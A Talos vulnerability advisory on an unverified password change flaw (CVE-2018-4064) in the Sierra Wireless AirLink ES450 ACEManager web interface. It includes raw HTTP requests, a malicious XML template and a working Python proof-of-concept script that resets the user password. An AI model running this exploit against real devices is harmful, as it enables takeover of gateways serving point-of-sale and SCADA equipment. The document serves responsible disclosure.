Talos Vulnerability Report

TALOS-2018-0749

Sierra Wireless AirLink ES450 ACEManager upload.cgi Unverified Password Change Vulnerability
April 25, 2019

CVE Number
CVE-2018-4064

Summary

An exploitable unverified password change vulnerability exists in the ACEManager upload.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP request can cause a unverified device configuration change, resulting in an unverified change of the user password on the device. An attacker can make an authenticated HTTP request to trigger this vulnerability.
Tested Versions

Sierra Wireless AirLink ES450 FW 4.9.3

Product URLs

https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/
CVSSv3 Score

8.5 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L
CWE

CWE-620: Unverified Password Change

Details

Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.

ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.

Utilizing the template upload capability within the WebUI, an authenticated user can change MSCIID settings without verification. While the normal method of changing the user password requires the old user password, uploading the following XML template allows the authenicated user to change the password without the previous user password.
Template Data

 <?xml version="1.0" ?>
 <template>
    <item msciid="5003" title="User Password" value="password01" />
 </template>

This can be done by utilizing the the WebUI template upload, or by using the following HTTP requests.

 POST /cgi-bin/upload.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f
 Connection: close
 Upgrade-Insecure-Requests: 1
 Content-Type: multipart/form-data; boundary=---------------------------98690229210303203401454887637
 Content-Length: 624

 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="save-as-filename"

 SWITemplate.xml
 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="file-location"

 ../admin/SWITemplate.xml
 -----------------------------98690229210303203401454887637
 Content-Disposition: form-data; name="upload-file"; filename="SWIApplyTemplate.xml"
 Content-Type: text/xml

 <?xml version="1.0" ?>
 <template>
    <item msciid="5003" title="User Password" value="password01" />
 </template>

 -----------------------------98690229210303203401454887637--

Followed by

 POST /cgi-bin/template_load.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/plain, */*; q=0.01
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/ACEmanagerX.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 40
 Cookie: token=cab34a8c2f7708f1163a22ed272a7e4f
 Connection: close

 path=/www/auth/user/SWIApplyTemplate.xml

Other MSCIID values can be changed without verification as well, omitting a MSCIID from the template means that the value will remain unchanged from the current state.

This vulnerability was discovered and tested using the AirLink ES450. Most likely this vulnerability also affects the AirLink GX450 product as well.

Exploit Proof of Concept

 #!/usr/bin/env python
 #Author : Carl Hurd, Cisco Talos
 import sys
 import requests

 from requests_toolbelt.utils import dump

 def auth(ip, port, password):
      data = """<request xmlns="urn:acemanager">
      <connect>
      <login>user</login>
      <password><![CDATA[{}]]></password>
      </connect>
      </request>""".format(password)

      response = requests.post("http://"+ip+":"+port+"/xml/Connect.xml", data=data)

      try:
           cookies = dict(token=response.headers["Set-Cookie"].split("; ")[0][len("token="):])
           return cookies
      except:
           print("Error while authenticating")
           sys.exit(0)

 def main():
      if len(sys.argv) < 5 or len(sys.argv) > 5:
           print("Usage : {} [ip address] [port] [password of user] [absolute path of file to check]".format(sys.argv[0]))
           sys.exit(0)

      ip = sys.argv[1]
      port = sys.argv[2]
      password = sys.argv[3]
      new_pass = sys.argv[4]

      print("New Password : {}\n".format(new_pass))

      cookies = auth(ip, port, password)

      xml = """<?xml version="1.0" ?>
      <template>
           <item msciid="5003" title="User Password" value="{}" />
      </template>""".format(new_pass)

      files = {'save-as-filename': (None, "SWITemplate.xml"), 'file-location': (None, "../admin/SWITemplate.xml"), 'upload-file': ('SWIApplyTemplate.xml', xml, 'text/xml')}
      response = requests.post("http://"+ip+":"+port+"/cgi-bin/upload.cgi", cookies=cookies, files=files)

      response = requests.post("http://"+ip+":"+port+"/cgi-bin/template_load.cgi", cookies=cookies, data="path=/www/auth/user/SWIApplyTemplate.xml", headers={"Content-Type": "application/x-www-form-urlencoded"})

      print(response.text)

 if __name__ == "__main__":
      main()

Timeline

2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor's analysis of issues
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release

Credit

Discovered by Carl Hurd of Cisco Talos.